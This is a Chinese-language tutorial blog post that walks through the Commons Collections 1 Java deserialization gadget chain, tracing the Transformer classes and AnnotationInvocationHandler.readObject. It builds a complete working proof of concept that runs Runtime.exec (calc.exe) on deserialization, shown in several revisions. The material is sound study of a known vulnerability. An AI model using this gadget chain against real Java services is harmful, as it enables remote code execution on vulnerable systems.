Featured image of post CC1Demo

CC1Demo

CC链1 Demo的学习以及相关基本知识的补充

假设读者已经掌握(笔者博客里的前置文章内涉及技术的)基础知识

本文章目的是分析CC链之1 Demo,以及补充相关前置知识,并尝试解决CC1链必要性问题,即CC1的必要路径和可选路径

笔者的思维路径为深度优先为主,广度为辅的Mindset,如果理解相关知识点,可跳过某些小章节以提升阅读效率。

CC链1 Demo

简易例子

首先来一个佬的最简化CC链

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public class CommonC1dm {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]
                    {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
            transformerChain);
        outerMap.put("test", "xxxx");
    }
}

其中没见过 transformerTransformedMap

接下来尝试理解他们的设计理念与意图

Transformer

  • 直译:变形生成器

  • Java中的Transformer:是一个在org.apache.commons.collections.Transformer里的接口

  • 源码

1
2
3
public interface Transformer {
    public Object transform(Object input);
}

相关接口必须实现transform方法

  • 作用:从IDEA的注释中可以了解到

将输入对象(保持不变)转换为某个输出对象

  • 输入输出

参数:输入要转换的对象,应保持不变

返回值:变换后的对象

  • 异常处理
  1. 如果输入是错误的类,抛出 ClassCastException(运行时)错误
  2. 如果输入无效,抛出 IllegalArgumentException(运行时)错误
  3. 如果无法完成转换,抛出 FunctorException(运行时)错误

结合输入输出以及注释解释,我们可以有一个基本的概念

Transformer 差不多应该是一个转换器接口,而且是用来转换对象用的

如下是实现了该接口的相关类

image-20240721163434246

我们可以尝试查看几个相关类对于transform方法的具体实现(也是之后可能会用到的Transformer实现类)

InvokerTransformer

  • 类结构

image-20240721170418828

  • 源码
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
    public Object transform(Object input) {
        	...
            
            Class cls = input.getClass(); 
        		//获取input的Class对象
        
            Method method = cls.getMethod(iMethodName, iParamTypes); 
        		//根据Str:iMethodName 和 一系列类型,确定唯一的 Method
        		//iMethodName确定Method名称,iParamTypes确定Method参数类型
		        //如此设计是为了防止Method重载
        
        
            return method.invoke(input, iArgs);
        		//执行input类中名为$iMethodName的方法,传入参数$iArgs
            ...
    }

核心代码就三行,功能已经注释出来,其中$iArgs$iParamTypes$iParamTypesInvokerTransformer类对象创建的时候确定

  • 利用角度

所以如果要进行命令执行,达到Runtime.getRuntime().exec("calc");的效果的话,转换为InvokerTransformertransform方法的使用方式是

1
2
3
4
5
6
7
8
9
    public static void main(String[] args) throws Exception {
//        Runtime.getRuntime().exec("calc");
        InvokerTransformer invokerTransformer = new InvokerTransformer(
            "exec",
            new Class[]{String.class},
            new String[]{"calc"}
        );
        invokerTransformer.transform(Runtime.getRuntime());
    }

MapTransformer

  • 类结构

image-20240721173021638

  • 源码
1
2
3
4
    public Object transform(Object input) {
        return iMap.get(input);
        //从$iMap中拿出key值为$input的value
    }
  • 利用角度

通过例子了解原理即可,实际使用会结合其他Gadget使用

1
2
3
4
5
6
7
8
    public static void main(String[] args) throws Exception {
//        Runtime.getRuntime().exec("calc");
        HashMap<String,Object> map = new HashMap<>();
        map.put("key",Runtime.getRuntime());
        Transformer transform = MapTransformer.getInstance(map);
        Runtime runtime = (Runtime) transform.transform("key");
        runtime.exec("calc");
    }

ConstantTransformer

  • 类结构

image-20240721173456243

  • 源码
1
2
3
4
    public Object transform(Object input) {
        return iConstant;
        //不管输入,直接返回对象初始化时确定的值
    }
  • 利用角度

没什么利用角度,常数设置器一样的,可能对绕过有帮助?

ChainedTransformer

  • 类结构

image-20240721174352471

  • 源码
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            	//因为$iTransformers是一个List,所以循环遍历所有$iTransformers中的iTransformer
            
            object = iTransformers[i].transform(object);
            	//每一个iTransformer都要运行iTransformer自身的transform方法
            	//并把结果保存到object中,且object是下个iTransformer.transform方法的参数
        }
        return object;
        	//返回最后一个object
    }
  • 利用角度

ChainedTransformer的transform方法实现很反直觉,所以其设计缘由值得思考,但目前没找到相关参考资料,按照IDEA中的注释可以解释为:

Factory method that performs validation and copies the parameter array.

一个工厂方法,这个方法可以验证和拷贝参数数组 — (中的内容?)

此类的利用角度已经曝光多年,不过现在看来还是不得不感叹安全研究员的思维敏锐程度

如下是简单例子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
    public static void main(String[] args) throws Exception {
//        Runtime.getRuntime().exec("calc");
        Transformer chainedTransformer = new ChainedTransformer(
            new Transformer[]{
            	new ConstantTransformer(Runtime.getRuntime()),
            	new InvokerTransformer(
                	"exec",
                	new Class[]{String.class},
                	new Object[]{"calc"}
           		),
        	}
        );
        chainedTransformer.transform(Runtime.class);
    }
  • 流程示意图

ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串

在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊。

image-20240721190443877

TransformedMap

  • 类结构

image-20240721183348862

由结构可知,该类只开放了三个方法供外界使用putputAlldecorate

  • TransformedMap.decorate
1
2
3
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }

构造函数的开放方法

  • TransformedMap.put & TransformedMap.putall

put

1
2
3
4
5
    public Object put(Object key, Object value) {
        key = transformKey(key);
        value = transformValue(value);
        return getMap().put(key, value);
    }

可以看到放入key和value的时候会使用transformKey,transformValue对Key和Value进行处理

putall

1
2
3
4
    public void putAll(Map mapToCopy) {
        mapToCopy = transformMap(mapToCopy);
        getMap().putAll(mapToCopy);
    }

transformMap源码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
    protected Map transformMap(Map map) {
        Map result = new LinkedMap(map.size());
        for (Iterator it = map.entrySet().iterator(); it.hasNext(); ) {
            Map.Entry entry = (Map.Entry) it.next();
            result.put(
                transformKey(entry.getKey()), 
                transformValue(entry.getValue())
            );
        }
        return result;
    }

可以看到本质还是使用这两个函数进行处理transformKey,transformValue

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
    protected Object transformKey(Object object) {
        if (keyTransformer == null) {
            return object;
        }
        return keyTransformer.transform(object);
    }    

	protected Object transformValue(Object object) {
        if (valueTransformer == null) {
            return object;
        }
        return valueTransformer.transform(object);
    }

从上面可以看到transformKey,transformValue只是单纯调用transform方法罢了

整理下来,TransformedMap做了什么事儿?

TransformedMap这个类构造对象时,会传入Map map, Transformer keyTransformer, Transformer valueTransformer

构造好后,再向对象中put Key Value时,会使用原先配置好的key/valueTransformer对key/value分别进行处理,将处理后的key/value值放入map中

如大佬所说

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可

以执⾏⼀个回调。

TransformedMap是Map的功能扩展类!!


简易例子的理解

回到大佬的简易例子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public class CommonC1dm {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]
                    {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
            transformerChain);
        outerMap.put("test", "xxxx");
    }
}

首先1-10配置ChainedTransformer,以此放好触发的最终执行环境

11-13配置TransformedMap,以此触发ChainedTransformer,

14 放入数据,触发TransformedMap机制。

完整POC的开端

不过如果只是到这里的话,没法形成完整的利用链路,目前我们的知识点能穿起来的线路如下

readObject() —> ……. —> HashMap —> TransformedMap —> ChainedTransformer —> RCE

从反序列化入口,到RCE的链路不完整,借用佬的话

我们前面说过,触发这个漏洞的核心,在于我们需要向Map中加入一个新的元素。在demo中,我们可以手工执行 outerMap.put(“test”, “xxxx”); 来触发漏洞,但在实际反序列化时,我们需要找到一个类,它在反序列化的readObject逻辑里有类似的写入操作。这个类就是sun.reflect.annotation.AnnotationInvocationHandler

Annotation即注解,大部分情况下,开发者是使用Annotation而不是编写Annotation,所以暂时不做展开学习

AnnotationInvocationHandler.readObject的源码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();
        
        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }
}

其中触发语句是26行的memberValue.setValue(),此时的memberValueAbstractInputCheckedMapDecorator类的静态内部类MapEntry,此类的源码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
    static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

setValue()会调用parent.checkSetValue(),由上方第4行可知parentAbstractInputCheckedMapDecorator类,即父类

所以setValue()会调用AbstractInputCheckedMapDecorator类的checkSetValue()方法

又刚好,TransformedMapAbstractInputCheckedMapDecorator的抽象类实现,实现了抽象方法checkSetValue()

有趣的是,TransformedMap.checkSetValue()只在上方提到的内部静态类AbstractInputCheckedMapDecorator.MapEntry中被调用过

TransformedMap.checkSetValue()的源码如下

1
2
3
    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }

会调用valueTransformer.transform(),而valueTransformer在简单例子中的第12行已经被设置为触发RCE的transformers

所以!!!!!AbstractInputCheckedMapDecorator.MapEntry.parent被设置为TransformedMap即可补齐链条,如下是调用栈。

1
2
3
4
ChainedTransformer.transform()
TransformedMap.checkSetValue()
AbstractInputCheckedMapDecorator$MapEntry.setValue()
AnnotationInvocationHandler.readObject()

ChainedTransformer.transform()被调用的时候,即可RCE

先入为主的解释

初学者的学习阶段只需要理解这样做为什么可行,而暂时搁置为什么一定/需要这样做的原因

AbstractInputCheckedMapDecorator.MapEntry.parent如何被设置为TransformedMap的呢?

  • memberValues来源于该类的构造函数,构造函数为声明为
1
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues)

所以memberValues是一个实现了Map接口的类,我们设置的outerMap完美符合这个要求

直接使用构造函数将outerMap传递给memberValues即可

  • AnnotationInvocationHandler.readObject()中将memberValues.entrySet()的结果当做迭代器访问,如下
1
 for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) 

此时memberValues.entrySet()会返回内部类AbstractInputCheckedMapDecorator.EntrySet,如下

1
2
3
4
5
    public Set entrySet() {
		...
            return new EntrySet(map.entrySet(), this);
        ...
    }

对内部类AbstractInputCheckedMapDecorator.EntrySet当做迭代器访问时,会触发memberValues.iterator()返回迭代器,AbstractInputCheckedMapDecorator.EntrySet.iterator()源码如下

1
2
3
        public Iterator iterator() {
            return new EntrySetIterator(collection.iterator(), parent);
        }

实际上每次返回的迭代器是内部类AbstractInputCheckedMapDecorator.EntrySetIterator,每次迭代器被访问时会访问next()AbstractInputCheckedMapDecorator.EntrySetIterator.next()源码如下

1
2
3
4
        public Object next() {
            Map.Entry entry = (Map.Entry) iterator.next();
            return new MapEntry(entry, parent);
        }

每次都会返回内部类AbstractInputCheckedMapDecorator.MapEntry,所以memberValueAbstractInputCheckedMapDecorator.MapEntry

每次memberValue都会访问parent.checkSetValue() —> 即memberValues.checkSetValue() —> 即outerMap.checkSetValue() —> 即TransformedMap.checkSetValue()

至此,形成RCE链路。

制作完整POC Demo

简易例子

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
public class CommonC1dm {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class},
                new Object[]
                    {"/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
            transformerChain);
        outerMap.put("test", "xxxx");
    }
}

注释掉14行手动触发

添加代码,构造AnnotationInvocationHandler对象,并将其反序列化,然后手动触发反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.dm.vulhub.Ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Annotation;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonC2dm {
    public static void main(String[] args) throws Exception {
        //设置ChainedTransformer
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer(
                "exec", 
                new Class[]{String.class},
                new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);


        //设置TransformedMap
        Map innerMap = new HashMap();
//        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,
            transformerChain);

        //构造AnnotationInvocationHandler
        Class clazz =
            Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
//        Object obj = construct.newInstance(Retention.class, outerMap);
        Object obj = construct.newInstance(Annotation.class, outerMap);


        //序列化对象
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        //手动触发反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object obj2 = ois.readObject();
    }
}

运行发现报错

构造正确的AnnotationInvocationHandler

1
2
3
4
5
6
        //构造AnnotationInvocationHandler
        Class clazz =
            Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        Object obj = construct.newInstance(Annotation.class, outerMap);

第六行的Annotation.class报错,代表不能随便放入class。Annotation.class来自java.lang.annotation包,所以全局搜索@interface

搜索@interface是因为这是Annotation.class的继承方式

image-20240727125746030

有如下几个,所以挑选一个,例如Native.class尝试,报错解决,进入下一个报错

解决不可反序列化

发现报错

1
Exception in thread "main" java.io.NotSerializableException: java.lang.Runtime

Runtime不支持反序列化,没有实现反序列化接口java.io.Serializable,所以使用反射获取Runtime类对象,于是修改

1
            new ConstantTransformer(Runtime.getRuntime()),

1
2
3
4
5
6
7
8
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class,
                Class[].class }, new
                Object[] { "getRuntime",
                new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class,
                Object[].class }, new
                Object[] { null, new Object[0] }),

以获取Runtime示例对象

此后完整代码如下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package org.dm.vulhub.Ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Annotation;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonC2dm {
    public static void main(String[] args) throws Exception {
        //设置ChainedTransformer
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);


        //设置TransformedMap
        Map innerMap = new HashMap();
//        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null,
            transformerChain);

        //构造AnnotationInvocationHandler
        Class clazz =
            Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
//        Object obj = construct.newInstance(Retention.class, outerMap);
        Object obj = construct.newInstance(Annotation.class, outerMap);


        //序列化对象
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        //手动触发反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object obj2 = ois.readObject();
    }
}

解决BUG

无法进入for循环

但此时依旧无法触发RCE的执行,为什么,让我们跟踪一下数据执行流

发现这一行for循环并不能取出值来进入循环

image-20240727122356140

所以我们需要在memberValues里面,即outerMap里添加键值对来进入循环

我们发现如果代码在设置TransformedMap这一步里的outermap添加键值对,会直接导致RCE触发,但不是经过反序列化,而是回到了手动触发的方式。

1
2
3
4
5
        //设置TransformedMap
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
            transformerChain);
        outerMap.put("aaaaa", "bbbbb");

image-20240727122720925

所以我们采用,在innerMap里添加,这样就能保证计算器不会在没有触发反序列化payload的地方出现,如下

image-20240727123055460

无法进入if判断

如图,即使进入for循环后,还是无法到达memberValue.setValue这条触发语句,memberType需要不为null

image-20240727123208898

memberType来源于memberTypes.get(name)namestr变量,值为aaa,即我们输入的Key值,memberTypes来源于

1
Map<String, Class<?>> memberTypes = annotationType.memberTypes();

可以看到在Debug情况下,size=0,即没有从annotationType.memberTypes()中取出有效值。

annotationType.memberTypes()源码如下

1
2
3
    public Map<String, Class<?>> memberTypes() {
        return memberTypes;
    }

直接返回memberTypes,看定义

1
private final Map<String, Class<?>> memberTypes;

final类型,代表只有初始化赋值,查看初始化赋值

1
2
3
4
5
6
7
8
9
        Method[] methods =
            AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
                public Method[] run() {
                    // Initialize memberTypes and defaultValues
                    return annotationClass.getDeclaredMethods();
                }
            });

        memberTypes = new HashMap<String,Class<?>>(methods.length+1, 1.0f);

来自于methodsmethods会去getDeclaredMethods(),获取声明的所有Methods,所以如果类没有声明方法,memberTypes.size始终为0。

上文搜索到的定义类中,只有Repeatable.classRetention.classTarget.class具有方法

image-20240727132507926

所以构造Native.class无法满足条件,换成Repeatable.class试试

image-20240727132720593

完整源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.dm.vulhub.Ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Repeatable;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonC2dm {
    public static void main(String[] args) throws Exception {
        //设置ChainedTransformer
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class,
                Class[].class }, new
                Object[] { "getRuntime",
                new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class,
                Object[].class }, new
                Object[] { null, new Object[0] }),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);


        //设置TransformedMap
        Map innerMap = new HashMap();
        innerMap.put("aaaaa", "bbbbb");
        Map outerMap = TransformedMap.decorate(innerMap, null,
            transformerChain);

        //构造AnnotationInvocationHandler
        Class clazz =
            Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
//        Object obj = construct.newInstance(Retention.class, outerMap);
        Object obj = construct.newInstance(Repeatable.class, outerMap);


        //序列化对象
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        //手动触发反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object obj2 = ois.readObject();
    }
}

发现还是无法进入if语句,因为取值的时候,没有Key值为aaa的选项,所以将aaa改为value试试

image-20240727133011443

成功触发

image-20240727133141131

完整POC Demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.dm.vulhub.Ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Repeatable;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CommonC2dm {
    public static void main(String[] args) throws Exception {
        //设置ChainedTransformer
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer("getMethod", new Class[] { String.class,
                Class[].class }, new
                Object[] { "getRuntime",
                new Class[0] }),
            new InvokerTransformer("invoke", new Class[] { Object.class,
                Object[].class }, new
                Object[] { null, new Object[0] }),
            new InvokerTransformer(
                "exec",
                new Class[]{String.class},
                new Object[]{"calc.exe"}),
        };
        Transformer transformerChain = new
            ChainedTransformer(transformers);


        //设置TransformedMap
        Map innerMap = new HashMap();
        innerMap.put("value", "bbbbb");
        Map outerMap = TransformedMap.decorate(innerMap, null,
            transformerChain);

        //构造AnnotationInvocationHandler
        Class clazz =
            Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
//        Object obj = construct.newInstance(Retention.class, outerMap);
        Object obj = construct.newInstance(Repeatable.class, outerMap);


        //序列化对象
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(obj);
        oos.close();

        //手动触发反序列化
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object obj2 = ois.readObject();
    }
}

缺陷-Java高版本无法利用

大佬说

我们是在Java 8u71以前的版本上进行测试的,在8u71以后大概是2015年12月的时候,Java官方修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数

修改后,我们精心构造的outerMap不会再有set,put操作,就不会触发transform(),自然也就失效了

如何破局

仔细对比ysoserial中的CC1和我们的CC1 Demo大有不同,我们将在下一章进行知识的补充与学习

Licensed under CC BY-NC-SA 4.0
Dan❤Anan
Built with Hugo
主题 StackJimmy 设计